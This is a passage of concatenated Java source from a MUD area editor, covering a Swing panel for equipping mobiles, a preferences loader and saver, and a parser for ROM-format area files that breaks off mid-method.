wearEarLabel1; JLabel wearEarLabel2; public MobEqPanel(Area data) { area = data; MudObject temp; int wear = 0; int locate = 0; int insert = 0; this.setLayout(new GridLayout(22, 1)); wearSlots = new JComboBox[21]; wearData = new Vector[21]; for (int a = 0; a < 21; a++) { wearData[a] = new Vector(); wearData[a].add(new String("##### - Nothingness")); } labels(); populate(); create(); addCombo(wearLightLabel, wearSlots[0]); addCombo(wearHeadLabel, wearSlots[6]); addCombo(wearNeckLabel1, wearSlots[3]); addCombo(wearNeckLabel2, wearSlots[4]); addCombo(wearRingLabel1, wearSlots[1]); addCombo(wearRingLabel2, wearSlots[2]); addCombo(wearTorsoLabel, wearSlots[5]); addCombo(wearLegsLabel, wearSlots[7]); addCombo(wearFeetLabel, wearSlots[8]); addCombo(wearHandsLabel, wearSlots[9]); addCombo(wearArmsLabel, wearSlots[10]); addCombo(wearShieldLabel, wearSlots[11]); addCombo(wearBodyLabel, wearSlots[12]); addCombo(wearWaistLabel, wearSlots[13]); addCombo(wearWristLabel1, wearSlots[14]); addCombo(wearWristLabel2, wearSlots[15]); addCombo(wearWieldLabel, wearSlots[16]); addCombo(wearHeldLabel, wearSlots[17]); addCombo(wearSurroundLabel, wearSlots[18]); addCombo(wearEarLabel1, wearSlots[19]); addCombo(wearEarLabel2, wearSlots[20]); for (int z = 0; z < 21; z++) { wearSlots[z].addActionListener(new wearSlotListener()); } vnum = -1; } private void labels() { wearLightLabel = new JLabel("<Light>"); wearHeadLabel = new JLabel("<Head>"); wearNeckLabel1 = new JLabel("<Neck1>"); wearNeckLabel2 = new JLabel("<Neck2>"); wearRingLabel1 = new JLabel("<Finger1>"); wearRingLabel2 = new JLabel("<Finger2>"); wearTorsoLabel = new JLabel("<Torso>"); wearLegsLabel = new JLabel("<Legs>"); wearFeetLabel = new JLabel("<Feet>"); wearHandsLabel = new JLabel("<Hands>"); wearArmsLabel = new JLabel("<Arms>"); wearShieldLabel = new JLabel("<Shield>"); wearBodyLabel = new JLabel("<Body>"); wearWaistLabel = new JLabel("<Waist>"); wearWristLabel1 = new JLabel("<Wrist1>"); wearWristLabel2 = new JLabel("<Wrist2>"); wearWieldLabel = new JLabel("<Wielded>"); wearHeldLabel = new JLabel("<Held>"); wearSurroundLabel = new JLabel("<Surround>"); wearEarLabel1 = new JLabel("<Ear1>"); wearEarLabel2 = new JLabel("<Ear2>"); } private void create() { wearSlots[0] = new JComboBox(wearData[0]); wearSlots[6] = new JComboBox(wearData[6]); wearSlots[3] = new JComboBox(wearData[3]); wearSlots[4] = new JComboBox(wearData[4]); wearSlots[1] = new JComboBox(wearData[1]); wearSlots[2] = new JComboBox(wearData[2]); wearSlots[5] = new JComboBox(wearData[5]); wearSlots[7] = new JComboBox(wearData[7]); wearSlots[8] = new JComboBox(wearData[8]); wearSlots[9] = new JComboBox(wearData[9]); wearSlots[10] = new JComboBox(wearData[10]); wearSlots[11] = new JComboBox(wearData[11]); wearSlots[12] = new JComboBox(wearData[12]); wearSlots[13] = new JComboBox(wearData[13]); wearSlots[14] = new JComboBox(wearData[14]); wearSlots[15] = new JComboBox(wearData[15]); wearSlots[16] = new JComboBox(wearData[16]); wearSlots[17] = new JComboBox(wearData[17]); wearSlots[18] = new JComboBox(wearData[18]); wearSlots[19] = new JComboBox(wearData[19]); wearSlots[20] = new JComboBox(wearData[20]); } public void populate() { MudObject temp; int wear = 0; /* for( int a = 0; a < 21; a++ ) { wearData[a].clear(); wearData[a].add(new String("##### - Nothingness")); } */ for (int loop = area.getLowVnum(); loop <= area.getHighVnum(); loop++) { temp = area.getObject(loop); if (temp == null) continue; wear = temp.getWearFlags(); // unchoosable if no take flag. if ((wear & MudConstants.ITEM_TAKE) != MudConstants.ITEM_TAKE) continue; wear = (wear ^ MudConstants.ITEM_TAKE); if (temp.getType() == MudConstants.ITEM_LIGHT) { if (!wearData[0].contains(temp)) wearData[0].add(temp); } if (wear == 0) // wear can only be zero for light sources continue; switch (wear) { case MudConstants.ITEM_WEAR_FINGER: { if (!wearData[1].contains(temp)) wearData[1].add(temp); if (!wearData[2].contains(temp)) wearData[2].add(temp); break; } case MudConstants.ITEM_WEAR_NECK: { if (!wearData[3].contains(temp)) wearData[3].add(temp); if (!wearData[4].contains(temp)) wearData[4].add(temp); break; } case MudConstants.ITEM_WEAR_BODY: { if (!wearData[5].contains(temp)) wearData[5].add(temp); break; } case MudConstants.ITEM_WEAR_HEAD: { if (!wearData[6].contains(temp)) wearData[6].add(temp); break; } case MudConstants.ITEM_WEAR_LEGS: { if (!wearData[7].contains(temp)) wearData[7].add(temp); break; } case MudConstants.ITEM_WEAR_FEET: { if (!wearData[8].contains(temp)) wearData[8].add(temp); break; } case MudConstants.ITEM_WEAR_HANDS: { if (!wearData[9].contains(temp)) wearData[9].add(temp); break; } case MudConstants.ITEM_WEAR_ARMS: { if (!wearData[10].contains(temp)) wearData[10].add(temp); break; } case MudConstants.ITEM_WEAR_SHIELD: { if (!wearData[11].contains(temp)) wearData[11].add(temp); break; } case MudConstants.ITEM_WEAR_ABOUT: { if (!wearData[12].contains(temp)) wearData[12].add(temp); break; } case MudConstants.ITEM_WEAR_WAIST: { if (!wearData[13].contains(temp)) wearData[13].add(temp); break; } case MudConstants.ITEM_WEAR_WRIST: { if (!wearData[14].contains(temp)) wearData[14].add(temp); if (!wearData[15].contains(temp)) wearData[15].add(temp); break; } case MudConstants.ITEM_WIELD: { if (!wearData[16].contains(temp)) wearData[16].add(temp); break; } case MudConstants.ITEM_HOLD: { if (!wearData[17].contains(temp)) wearData[17].add(temp); break; } case MudConstants.ITEM_WEAR_FLOAT: { if (!wearData[18].contains(temp)) wearData[18].add(temp); break; } case MudConstants.ITEM_WEAR_EARS: { if (!wearData[19].contains(temp)) wearData[19].add(temp); if (!wearData[20].contains(temp)) wearData[20].add(temp); break; } default: continue; } } // end for. } class wearSlotListener implements ActionListener { public void actionPerformed(ActionEvent e) { JComboBox box = (JComboBox) e.getSource(); MudObject obj = null; if (box.getSelectedItem() instanceof MudObject) obj = (MudObject) box.getSelectedItem(); for (int loop = 0; loop < 21; loop++) { if (box == wearSlots[loop]) { Mobile mob = area.getMobile(vnum); if (mob == null) return; if (obj != null) mob.equipMobile(loop, obj.getVnum()); else mob.equipMobile(loop, -1); } } } } public void reset() { populate(); create(); } public void update(int v) { System.out.println("update with " + Integer.toString(v)); if (v == -1) { reset(); return; } if (vnum == v) return; vnum = v; System.out.println("Populate"); populate(); System.out.println("cleareq"); clearEq(); // System.out.println("seteq"); // setEq(); // System.out.println("repaint"); // repaint(); } private void clearEq() { for (int a = 0; a < 21; a++) { wearSlots[a].setSelectedIndex(0); wearSlots[a].setSelectedItem(null); wearSlots[a].validate(); } wearSlots[0].setSelectedIndex(0); System.out.println("Cleared eq"); } /* * this function takes the eq equipped to mobile and * sets the combo boxes to that eq. */ private void setEq() { boolean equip = false; if (vnum == -1) return; Mobile mob = area.getMobile(vnum); MudObject obj; int eqVnum; if (mob == null) return; for (int a = 0; a < 21; a++) { eqVnum = mob.getEquipment(a); if (eqVnum == -1) continue; else equip = true; obj = area.getObject(eqVnum); if (obj == null) continue; wearSlots[a].setSelectedItem(obj); } if (equip == false) System.out.println("No eq!"); } private void addCombo(Component a, Component b) { // b.invalidate(); JPanel temp = new JPanel(); temp.setLayout(new BorderLayout()); temp.add(a, BorderLayout.WEST); temp.add(b, BorderLayout.EAST); // temp.invalidate(); this.add(temp); } }<file_sep>/aeditor_stillrom/src/net/s5games/mafia/ui/JPrefs.java package net.s5games.mafia.ui; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.*; import java.util.Enumeration; import java.util.Vector; public class JPrefs { private static JPrefs prefs; private static boolean loaded = false; protected File inputFile; protected FileInputStream inStream; protected DataInputStream dataStream; protected BufferedInputStream inbuf1; protected BufferedReader buf2 = null; protected FileOutputStream outStream; protected BufferedWriter outbuf; protected JPanel sPanel; Vector data; private JPrefs() { data = new Vector(); sPanel = new JPanel(); loadPreferences(); } public static synchronized JPrefs getPrefs() { if (prefs == null) { prefs = new JPrefs(); loaded = true; } return prefs; } public JPanel getPanel() { return sPanel; } public void addPreference(DataItem temp) { addPreference(temp.getId(), temp.getValue(), temp.getType()); } public void addPreference(String i, String v, int t) { DataItem temp = new DataItem(i, v, t); if (temp.getType() == 0) { JCheckBox tbox = new JCheckBox(temp.getId()); if (temp.getValue().equals("1")) tbox.setSelected(true); else tbox.setSelected(false); sPanel.add(tbox); tbox.addActionListener(new JPrefListener()); } else { inform("Bad preference: " + temp); return; } System.out.println("added " + temp); data.add(temp); } public void removePreference(String i) { return; } public String getPreference(String i) { Enumeration e; DataItem temp; for (e = data.elements(); e.hasMoreElements();) { temp = (DataItem) e.nextElement(); if (temp.getId().equals(i)) return temp.getValue(); } return "1"; } // this will add to any preferences that are there. public void loadPreferences() { System.out.println("Loading preferences"); PrefProgress p = new PrefProgress(); p.loop(); try { inputFile = new File("setting.txt"); if (inputFile == null) return; inStream = new FileInputStream(inputFile); buf2 = new BufferedReader(new InputStreamReader(inStream)); String temp = getLine(); while (temp != null) { System.out.println("read: " + temp); DataItem it = new DataItem(temp); addPreference(it); temp = getLine(); } buf2.close(); } catch (Exception e) { inform("Error loading preferences"); } p.stop(); return; } public void writePreferences() { File ofile = new File("setting.txt"); try { outStream = new FileOutputStream(inputFile); outbuf = new BufferedWriter(new OutputStreamWriter(outStream)); Enumeration e; DataItem temp; for (e = data.elements(); e.hasMoreElements();) { temp = (DataItem) e.nextElement(); writeLine(temp.getId() + "," + temp.getValue() + "," + temp.getType()); //writeLine( temp.toString() ); } outbuf.flush(); outbuf.close(); } catch (Exception e) { } } private String getLine() { if (buf2 == null) return null; try { return buf2.readLine(); } catch (Exception e) { return null; } } private void writeLine(String s) { try { outbuf.write(s, 0, s.length()); } catch (Exception e) { System.out.println("Error writing to file!!!"); } } public void dumpToPrompt() { Enumeration e; DataItem temp; for (e = data.elements(); e.hasMoreElements();) { temp = (DataItem) e.nextElement(); System.out.println(temp); } } protected static void inform(String msg) { JOptionPane.showMessageDialog(null, msg, msg, JOptionPane.WARNING_MESSAGE); } private class PrefProgress { JWindow window; JProgressBar pBar; JPanel holdPanel; PrefProgress() { pBar = new JProgressBar(); pBar.setIndeterminate(true); holdPanel = new JPanel(); holdPanel.setLayout(new BorderLayout()); holdPanel.add(pBar, BorderLayout.SOUTH); holdPanel.add(new JLabel("......Loading Preferences......"), BorderLayout.NORTH); window = new JWindow(); window.getContentPane().add(holdPanel, BorderLayout.CENTER); } void loop() { Dimension screen = Toolkit.getDefaultToolkit().getScreenSize(); Dimension second = holdPanel.getPreferredSize(); window.setSize(second); int w = ((int) screen.getWidth() / 2) - ((int) second.getWidth() / 2); int h = ((int) screen.getHeight() / 2) - ((int) second.getHeight() / 2); window.setLocation(w, h); window.setVisible(true); } void stop() { window.setVisible(false); window = null; System.gc(); } } private class DataItem { String id, value; int type; DataItem(String parse) { System.out.println("creating"); int temp = parse.indexOf(','); id = parse.substring(0, temp); int temp2 = parse.indexOf(',', temp + 1); value = parse.substring(temp + 1, temp2); type = Integer.parseInt(parse.substring(temp2 + 1)); System.out.println("Created: " + toString()); // parse string and assign. } DataItem(String a, String b) { id = a; value = b; type = 0; } DataItem(String a, String b, int t) { id = a; value = b; type = t; } String getValue() { return value; } String getId() { return id; } int getType() { return type; } void setValue(String nVal) { value = nVal; } public String toString() { return id + " " + value + " " + Integer.toString(type); } } class JPrefListener implements ActionListener { public void actionPerformed(ActionEvent e) { Enumeration en; DataItem temp; if (e.getSource() instanceof JCheckBox) { JCheckBox me = (JCheckBox) e.getSource(); for (en = data.elements(); en.hasMoreElements();) { temp = (DataItem) en.nextElement(); if (me.getText().equals(temp.getId())) { if (me.isSelected()) temp.setValue("1"); else temp.setValue("0"); } } } } } }<file_sep>/aeditor_stillrom/src/net/s5games/mafia/model/RomLoader.java // <NAME> // RomLoader.java // Area Editor Project, Spring 2002 // package net.s5games.mafia.model; import net.s5games.mafia.beans.Armor; import net.s5games.mafia.beans.Dice; import net.s5games.mafia.ui.JPrefs; import javax.swing.*; import java.io.File; // class to load an model. public class RomLoader extends RomIO { int lowVnum; int highVnum; public RomLoader(String filename) { inputFile = new File(filename); if (!openArea(true)) { open = false; System.out.println("Couldn't open file."); } else open = true; } public RomLoader(File file) { inputFile = file; if (!openArea(true)) { open = false; System.out.println("Couldn't open file."); } else open = true; } public boolean isOpen() { return open; } public Area readArea(Area e) { if (!open) return e; System.out.println("Loading Area."); System.out.println("Opened " + inputFile + " successfully."); area = e; try { while (buf2.ready()) { String temp = buf2.readLine(); temp = temp.toLowerCase(); if (temp.length() <= 1) continue; if (temp.equals("#areadata") || temp.equals("#model")) readHeader(); else if (temp.startsWith("#mobi")) readMobiles(); else if (temp.startsWith("#mobp")) readMobProgs(); else if (temp.startsWith("#room")) readRooms(); else if (temp.startsWith("#obj")) readObjects(); else if (temp.startsWith("#shop")) readShops(); else if (temp.startsWith("#reset")) readResets(); else if (temp.startsWith("#special")) readSpecial(); else if (temp.startsWith("#$")) System.out.println("Read Of Area File Complete."); else System.out.println("\nExtra Line: [" + temp + "]"); } } catch (Exception except) { System.out.println("General error reading model file."); } return area; } int REMOVE_BIT(int a, int b) { return ((~b) & (a)); // remove bits b from a. } public void readMobiles() { System.out.print("Reading Mobiles."); Mobile temp; int vnum = readVnum(buf2); String hold1; try { while (vnum > 0) { temp = new Mobile(vnum, area); temp.setName(readToTilde(buf2)); temp.setShortName(readToTilde(buf2)); temp.setLongName(readToTilde(buf2)); temp.setDescription(readToTilde(buf2)); temp.setRace(RaceTable.getRace(readToTilde(buf2))); hold1 = buf2.readLine(); //System.out.println("Reading mobile: " + temp.toString() ); //System.out.println("Setting act flags from loader"); temp.setActFlags(MudConstants.getBitInt(oneArgument(hold1)) | temp.getRace().getActFlags()); hold1 = trimArgument(hold1); temp.setAffectedBy(MudConstants.getBitInt(oneArgument(hold1)) | temp.getRace().getAffectedByFlags()); hold1 = trimArgument(hold1); temp.setAlignment(Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setGroup(Integer.parseInt(hold1)); hold1 = buf2.readLine(); temp.setLevel(Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setHitRoll(Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); Dice mydice = new Dice(oneArgument(hold1)); temp.setHitDice(mydice); hold1 = trimArgument(hold1); temp.setManaDice(new Dice(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setDamageDice(new Dice(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setDamageType(hold1); hold1 = buf2.readLine(); // ac ac ac ac temp.setAC(Armor.PIERCE, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setAC(Armor.BASH, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setAC(Armor.SLASH, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setAC(Armor.MAGIC, Integer.parseInt(oneArgument(hold1))); hold1 = buf2.readLine(); // flag flag flag flag temp.setOffensiveFlags(MudConstants.getBitInt(oneArgument(hold1)) | temp.getRace().getOffensiveFlags()); hold1 = trimArgument(hold1); temp.setImmunityFlags(MudConstants.getBitInt(oneArgument(hold1)) | temp.getRace().getImmunityFlags()); hold1 = trimArgument(hold1); temp.setResistanceFlags(MudConstants.getBitInt(oneArgument(hold1)) | temp.getRace().getResistanceFlags()); hold1 = trimArgument(hold1); temp.setVulnerabilityFlags(MudConstants.getBitInt(oneArgument(hold1)) | temp.getRace().getVulnerableFlags()); hold1 = buf2.readLine(); // startpos default sex wealth temp.setStartPosition(MudConstants.lookupPos(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setDefaultPosition(MudConstants.lookupPos(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setSex(MudConstants.lookupSex(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setWealth(Integer.parseInt(oneArgument(hold1))); //System.out.println("form, parts, size, material"); hold1 = buf2.readLine(); // form parts size material temp.setForm(MudConstants.getBitInt(oneArgument(hold1)) | temp.getRace().getForm()); hold1 = trimArgument(hold1); temp.setParts(MudConstants.getBitInt(oneArgument(hold1)) | temp.getRace().getParts()); hold1 = trimArgument(hold1); temp.setSize(new Size(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setMaterial(oneArgument(hold1)); //System.out.println("About to read extras"); /* * Here we are marking the stream and then reading, if we * have read a vnum we reset the stream(unread the vnum) * and start the next mobile, otherwise we parse the * extra data */ try { //System.out.println("Marking input"); buf2.mark(50); while (readVnum(buf2) == -1) { buf2.reset(); hold1 = buf2.readLine(); //System.out.println("Switching on extra"); switch (hold1.charAt(0)) { case 'D': { //System.out.println("Loading deathcry"); hold1 = trimArgument(hold1); // remove the D. String dCry = hold1.substring(0, hold1.indexOf('~')); if (dCry.equals("(null)") || dCry.equals("default")) break; temp.setDeathCry(dCry); break; } case 'M': { hold1 = trimArgument(hold1); // remove the M. String mp = hold1.substring(0, hold1.indexOf('~')); int mType = MobTrigger.iLookup(oneArgument(mp)); mp = trimArgument(mp); int mVnum = Integer.parseInt(oneArgument(mp)); mp = trimArgument(mp); MobTrigger tigger = new MobTrigger(mType, mVnum, mp); temp.addTrigger(tigger); break; } case 'F': { hold1 = trimArgument(hold1); // remove the F String tType = oneArgument(hold1); hold1 = trimArgument(hold1); // remove the type int theBit = MudConstants.getBitInt(oneArgument(hold1)); int rembit; if (tType.equals("act")) { rembit = REMOVE_BIT(temp.getActFlags(), theBit); temp.setActFlags(rembit); } else if (tType.equals("aff")) { rembit = REMOVE_BIT(temp.getAffectedBy(), theBit); temp.setAffectedBy(rembit); } else if (tType.equals("off")) { rembit = REMOVE_BIT(temp.getOffensiveFlags(), theBit); temp.setOffensiveFlags(rembit); } else if (tType.equals("imm")) { rembit = REMOVE_BIT(temp.getImmunityFlags(), theBit); temp.setImmunityFlags(rembit); } else if (tType.equals("res")) { rembit = REMOVE_BIT(temp.getResistanceFlags(), theBit); temp.setResistanceFlags(rembit); } else if (tType.equals("vul")) { rembit = REMOVE_BIT(temp.getVulnerabilityFlags(), theBit); temp.setVulnerabilityFlags(rembit); } else if (tType.equals("for")) { rembit = REMOVE_BIT(temp.getForm(), theBit); temp.setForm(rembit); } else if (tType.equals("par")) { rembit = REMOVE_BIT(temp.getParts(), theBit); temp.setParts(rembit); } else System.out.println("F ? ?"); break; } default: { System.out.println("Extra line: " + hold1); break; } } buf2.mark(50); } buf2.reset(); } catch (Exception e3) { System.out.println("Problem reading Extras"); } // Insert new mobile into model and read next vnum. area.insert(temp); vnum = readVnum(buf2); } // read all special letters. } catch (Exception e) { System.out.println("...Error reading mobiles"); return; } System.out.println("...Complete"); } public void readObjects() { System.out.print("Reading Objects."); MudObject temp; int vnum = readVnum(buf2); String hold1; try { while (vnum != 0) { // 1. vnum temp = new MudObject(vnum, area); temp.setName(readToTilde(buf2)); // 2. Name temp.setShortName(readToTilde(buf2)); // 3. Short temp.setLongName(readToTilde(buf2)); // 4. Description temp.setMaterial(readToTilde(buf2)); // 5. Material // System.out.println("Loading Object: " + temp.getName() + "(" + temp.getVnum() + ")"); // 6. item type, extra, wear hold1 = buf2.readLine(); temp.setType(MudConstants.typeFromString(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setExtraFlags(MudConstants.getBitInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setWearFlags(MudConstants.getBitInt(oneArgument(hold1))); // 7. Values. These are parsed based on object type(ACK!) // (5 values 0,1,2,3,4) hold1 = buf2.readLine(); int type = temp.getType(); /* * Item types with spells need to check spell list. */ switch (type) { case MudConstants.ITEM_WEAPON: { temp.setsValue(0, oneArgument(hold1)); //System.out.println(temp.toString() + ":" + temp.getsValue(0)); hold1 = trimArgument(hold1); temp.setiValue(1, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(2, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setsValue(3, oneArgument(hold1)); hold1 = trimArgument(hold1); temp.setiValue(4, MudConstants.getBitInt(oneArgument(hold1))); break; } case MudConstants.ITEM_CONTAINER: { temp.setiValue(0, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(1, MudConstants.getBitInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(2, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(3, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(4, Integer.parseInt(oneArgument(hold1))); break; } case MudConstants.ITEM_DRINK_CON: case MudConstants.ITEM_FOUNTAIN: { temp.setiValue(0, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(1, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setsValue(2, oneArgument(hold1)); hold1 = trimArgument(hold1); temp.setiValue(3, Integer.parseInt(oneArgument(hold1))); // v4 unused. break; } case MudConstants.ITEM_WAND: case MudConstants.ITEM_STAFF: { temp.setiValue(0, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(1, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(2, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setsValue(3, oneArgument(hold1)); // v4 unused break; } case MudConstants.ITEM_POTION: case MudConstants.ITEM_PILL: case MudConstants.ITEM_SCROLL: { temp.setiValue(0, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setsValue(1, oneArgument(hold1)); hold1 = trimArgument(hold1); temp.setsValue(2, oneArgument(hold1)); hold1 = trimArgument(hold1); temp.setsValue(3, oneArgument(hold1)); hold1 = trimArgument(hold1); temp.setsValue(4, oneArgument(hold1)); break; } case MudConstants.ITEM_MONEY: case MudConstants.ITEM_LIGHT: case MudConstants.ITEM_ARMOR: { temp.setiValue(0, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(1, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(2, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(3, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(4, Integer.parseInt(oneArgument(hold1))); break; } case MudConstants.ITEM_PORTAL: { temp.setiValue(0, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(1, MudConstants.getBitInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(2, MudConstants.getBitInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(3, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(4, Integer.parseInt(oneArgument(hold1))); break; } case MudConstants.ITEM_FOOD: case MudConstants.ITEM_FURNITURE: { temp.setiValue(0, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(1, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(2, MudConstants.getBitInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(3, Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(4, Integer.parseInt(oneArgument(hold1))); break; } default: { temp.setiValue(0, MudConstants.getBitInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(1, MudConstants.getBitInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(2, MudConstants.getBitInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(3, MudConstants.getBitInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setiValue(4, MudConstants.getBitInt(oneArgument(hold1))); break; } } // 8. level, weight, cost, condition // May be parsed in diff ways, flag or number. hold1 = buf2.readLine(); temp.setLevel(Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setWeight(Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setCost(Integer.parseInt(oneArgument(hold1))); hold1 = trimArgument(hold1); temp.setCondition(MudConstants.conditionLookup(oneArgument(hold1))); // 14. parse affects by letter. /* * Here we are marking the stream and then reading, if we * have read a vnum we reset the stream(unread the vnum) * and start the next object, otherwise we parse the * extra data */ buf2.mark(50); while (readVnum(buf2) == -1) { buf2.reset(); hold1 = buf2.readLine(); switch (hold1.charAt(0)) { case 'A': { hold1 = buf2.readLine(); String nType = oneArgument(hold1); hold1 = trimArgument(hold1); String nValue = oneArgument(hold1); try { int nType2 = Integer.parseInt(nType); int nValue2 = Integer.parseInt(nValue); ObjectAffect nAffect = new ObjectAffect(nType2, nValue2); temp.addAffect(nAffect); } catch (Exception exct) { System.out.println("Exception creating object affect in loader"); } break; } case 'R': // wear { temp.setWearMessage(readToTilde(buf2)); break; } case 'M': // remove { temp.setRemoveMessage(readToTilde(buf2)); break; } case 'E': // extra desc { String dKeyword = readToTilde(buf2); String dDesc = readToTilde(buf2); temp.getExtraDescriptions().put(dKeyword, dDesc); break; } default: { System.out.println("Extra line: " + hold1); break; } } buf2.mark(50); } buf2.reset(); // Insert new object into model and read next vnum. area.insert(temp); vnum = readVnum(buf2); } } catch (Exception e) { System.out.println("...Failed."); return; } System.out.println("...Complete."); } public void readRooms() { System.out.print("Reading Rooms."); Room temp; int vnum = readVnum(buf2); String hold1 = "!ERROR!", hold2; boolean dumped = false; try { while (vnum != 0) { //System.out.println("Attempt to read room #" + vnum + "."); temp = new Room(vnum, area); temp.setName(readToTilde(buf2)); temp.setDescription(readToTilde(buf2)); hold1 = buf2.readLine(); // model num, flags, sector hold1 = hold1.substring(hold1.indexOf(' ') + 1); // flags, sector hold2 = hold1.substring(0, hold1.indexOf(' ')); // flags hold1 = hold1.substring(hold1.indexOf(' ') + 1); // sector temp.setFlags(Integer.parseInt(hold2)); temp.setSector(Integer.parseInt(hold1)); hold1 = buf2.readLine(); // read first flag //report("sector, flags set"); while (hold1.charAt(0) != 'S') { switch (hold1.charAt(0)) { case 'E': { String keyword = readToTilde(buf2); String desc = readToTilde(buf2); temp.getExtraDescriptions().put(keyword, desc); break; } case 'H': { break; } case 'M': { // M 0 H 0 hold1 = hold1.substring(hold1.indexOf(' ') + 1); // 0 H 0 hold2 = hold1.substring(0, hold1.indexOf(' ')); // 0 temp.setMana(Integer.parseInt(hold2)); hold1 = hold1.substring(hold1.indexOf(' ') + 1); // H 0 hold1 = hold1.substring(hold1.indexOf(' ') + 1); // 0 temp.setHeal(Integer.parseInt(hold1)); break; } case 'D': { MudExit exitTemp; int locks, key, toVnum; int dir = ((int) hold1.charAt(1)) - 48; //System.out.println(".........." + hold1.charAt(1)); String exitDesc = readToTilde(buf2); String exitName = readToTilde(buf2); String lkv = buf2.readLine(); locks = Integer.parseInt(oneArgument(lkv)); lkv = trimArgument(lkv); key = Integer.parseInt(oneArgument(lkv)); lkv = trimArgument(lkv); toVnum = Integer.parseInt(lkv); exitTemp = new MudExit(toVnum, temp); exitTemp.setKey(key); exitTemp.setFlagsByKey(locks); // exitTemp.setFlags(locks); //if( locks != 0 ) // System.out.println(temp.toString() + ":locks-> " + locks ); exitTemp.setKeyword(exitName); exitTemp.setDescription(exitDesc); if (toVnum < lowVnum || toVnum > highVnum) { dumped = true; break; } else temp.setExit(exitTemp, dir); // add exit to room. break; } } hold1 = buf2.readLine(); } area.insert(temp); vnum = readVnum(buf2); //System.out.println("Read a single room."); } } catch (Exception e) { System.out.println("Failed to read all rooms?! -" + hold1); return; } System.out.println(".....Complete."); JPrefs p = JPrefs.getPrefs(); if (dumped && p.getPreference("Suppress Exit Error").equals("0")) inform("Dumped exit(s) leading out of model/vnum range."); } public void readSpecial() { System.out.print("Reading Specials."); try { String special = buf2.readLine(); while (!special.startsWith("S")) { special = trimArgument(special); int mVnum = Integer.parseInt(oneArgument(special)); special = trimArgument(special); Mobile temp = area.getMobile(mVnum); if (temp != null) temp.setSpecial(special); else System.out.println("Special discarded, no mobile"); special = buf2.readLine(); } } catch (Exception e) { System.out.println("...Error."); return; } System.out.println("..Complete. [NOT SUPPORTED BY EDITOR]"); System.out.println("Mafia will Store/Save your specials, but not allow processing."); } public void readResets() { System.out.print("Reading Resets."); /* * remember lines starting with * are comments. */ MudReset temp; String command; int arg1, arg2, arg3 = 0, arg4 = 0, chance; try { String reset = buf2.readLine(); while (!reset.startsWith("S")) { if (!reset.startsWith("*")) { //System.out.println("parsing reset: " + reset ); command = oneArgument(reset); reset = trimArgument(reset); chance = Integer.parseInt(oneArgument(reset)); reset = trimArgument(reset); arg1 = Integer.parseInt(oneArgument(reset)); reset = trimArgument(reset); arg2 = Integer.parseInt(oneArgument(reset)); reset = trimArgument(reset); if (!command.startsWith("G") && !command.startsWith("R")) { arg3 = Integer.parseInt(oneArgument(reset)); reset = trimArgument(reset); } if (command.startsWith("P") || command.startsWith("M")) { arg4 = Integer.parseInt(oneArgument(reset)); } temp = new MudReset(command, arg1, arg2, arg3, arg4, chance); //System.out.println("Created reset: " + temp.toString() ); area.insert(temp); } reset = buf2.readLine(); } } catch (Exception e) { System.out.println("...Error."); return; } System.out.println("....Complete."); } public void readShops() { System.out.print("Reading Shops."); MudShopData shop; int[] data; int keeper, bProf, sProf, openH, closeH; try { String temp = buf2.readLine(); while (!temp.startsWith("0")) { data = new int[MudConstants.MAX_TRADE]; keeper = Integer.parseInt(oneArgument(temp)); temp = trimArgument(temp); for (int a = 0; a < MudConstants.MAX_TRADE; a++) { data[a] = Integer.parseInt(oneArgument(temp)); temp = 